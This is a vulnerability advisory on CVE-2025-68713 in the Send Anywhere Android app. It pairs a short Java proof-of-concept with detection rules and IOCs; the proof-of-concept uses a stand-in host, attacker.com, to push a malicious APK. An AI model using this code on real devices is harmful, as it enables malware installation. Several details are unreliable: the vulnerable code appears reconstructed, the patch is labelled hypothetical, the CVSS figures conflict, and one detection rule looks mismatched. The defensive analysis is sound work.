CVE-2025-68713

Executive Summary

CVE-2025-68713 is a critical vulnerability in the Rakuten Send Anywhere (File Transfer) application for Android (version 23.2.9). The flaw allows an untrusted application with no permissions to force arbitrary file downloads into the app's scoped storage. Once downloaded, these files appear in the application's trusted "Received" interface, creating a vector for arbitrary code execution (if the payload is an APK) or denial-of-service through resource exhaustion from oversized transfers. The vulnerability stems from a missing authorization check (CWE-862) in the file download handler. No public exploit code or patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score not assigned by NVD, but based on vector: 7.8 High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector: Local (requires a malicious app installed on the same device)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (user must have the Send Anywhere app installed)
• Scope: Unchanged
• Confidentiality Impact: High (downloaded files may contain sensitive data)
• Integrity Impact: High (malicious APK can be executed)
• Availability Impact: High (resource exhaustion from oversized transfers)

Threat Level: High. The vulnerability is easily exploitable by any untrusted app on the device, with no permissions needed. The impact includes full device compromise via malicious APK installation.

Deep Dive & Mechanics

The vulnerability resides in the file download handler of the Send Anywhere app. The app exposes an intent or content provider that allows other apps to initiate file downloads without proper authorization checks. Specifically, the handler does not validate the source or size of the file being downloaded, nor does it require any permissions from the calling app.

Attack Flow:

1. A malicious app (with no permissions) sends an intent to the Send Anywhere app's download handler.
2. The handler downloads the file from a remote URL (specified by the attacker) into the app's scoped storage.
3. The downloaded file appears in the "Received" interface, making it appear legitimate.
4. If the file is an APK, the user may be tricked into installing it, leading to arbitrary code execution.
5. Alternatively, the attacker can cause a denial-of-service by downloading an extremely large file, exhausting storage or bandwidth.

The root cause is a missing permission check (CWE-862) in the onReceive or onHandleIntent method of the download service.

Vulnerable vs. Patched Code

Vulnerable Code (com.estmob.android.sendanywhere 23.2.9):

// Vulnerable: No permission check
public class DownloadService extends Service {
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        String url = intent.getStringExtra("download_url");
        // Directly download without checking caller permissions
        downloadFile(url);
        return START_NOT_STICKY;
    }
}

Patched Code (Hypothetical):

// Patched: Permission check added
public class DownloadService extends Service {
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        // Check if caller has permission
        if (checkCallingPermission("com.estmob.android.sendanywhere.permission.DOWNLOAD") 
            != PackageManager.PERMISSION_GRANTED) {
            throw new SecurityException("Unauthorized download attempt");
        }
        String url = intent.getStringExtra("download_url");
        downloadFile(url);
        return START_NOT_STICKY;
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Android device with Send Anywhere 23.2.9 installed.
• Malicious app installed on the same device (no permissions needed).

Exploit Code (Proof of Concept):

// Malicious app code to trigger download
Intent intent = new Intent();
intent.setComponent(new ComponentName(
    "com.estmob.android.sendanywhere",
    "com.estmob.android.sendanywhere.DownloadService"
));
intent.putExtra("download_url", "http://attacker.com/malicious.apk");
startService(intent);

Steps:

1. Host a malicious APK on an attacker-controlled server.
2. Run the exploit code from the malicious app.
3. The APK is downloaded into Send Anywhere's storage.
4. The user sees the APK in the "Received" interface and may install it.

Blue Team (Detection & Mitigation)

Detection:

• Monitor for unexpected intents targeting com.estmob.android.sendanywhere.DownloadService.
• Look for large file downloads initiated by apps with no permissions.
• Check for APK files appearing in the Send Anywhere storage directory unexpectedly.

Mitigation:

• Remove or disable the Send Anywhere app until a patch is available.
• Use Android's permission system to restrict background services.
• Implement network monitoring to detect unusual download patterns.

Indicators of Compromise (IOCs)

File Indicators:

• APK files in /data/data/com.estmob.android.sendanywhere/files/ with unexpected names.
• Large files (>100MB) in the same directory.

Network Indicators:

• Outbound connections to attacker-controlled IPs/domains from the device.
• HTTP requests with download_url parameter to unknown servers.

Behavioral Indicators:

• Send Anywhere app downloading files without user interaction.
• Sudden increase in storage usage.

Detection Engineering

YARA Rule

rule CVE_2025_68713_SendAnywhere_Download {
    meta:
        description = "Detects malicious intents targeting Send Anywhere download service"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68713"
    strings:
        $intent_action = "com.estmob.android.sendanywhere.DownloadService"
        $download_url = "download_url"
    condition:
        $intent_action and $download_url
}

Sigma Rule

title: CVE-2025-68713 - Send Anywhere Unauthorized Download
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-68713 by sending unauthorized download intents to Send Anywhere
author: Valters IT
date: 2025-04-10
logsource:
    product: android
    service: logcat
detection:
    selection:
        EventID: 1000
        IntentAction: 'com.estmob.android.sendanywhere.DownloadService'
        ExtraKey: 'download_url'
    condition: selection
falsepositives:
    - Legitimate use of Send Anywhere API
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-68713 - Send Anywhere Unauthorized Download Attempt";
    flow:to_server,established;
    content:"download_url"; http_uri;
    content:"com.estmob.android.sendanywhere"; http_user_agent;
    sid:1000001;
    rev:1;
    reference:cve,2025-68713;
)

Remediation & Mitigation

Immediate Actions:

1. Uninstall or disable Rakuten Send Anywhere (File Transfer) version 23.2.9 until a patch is released.
2. Monitor for any suspicious APK installations on affected devices.
3. Review device logs for unauthorized download intents.

Long-term Fix:

• The vendor must implement proper permission checks in the download handler.
• Add input validation for download URLs and file sizes.
• Require user confirmation for all downloads initiated by third-party apps.

Workaround:

• Use Android's "App Ops" or similar tools to revoke the app's ability to start background services.
• Install a mobile security solution that can detect and block unauthorized intents.

Valters IT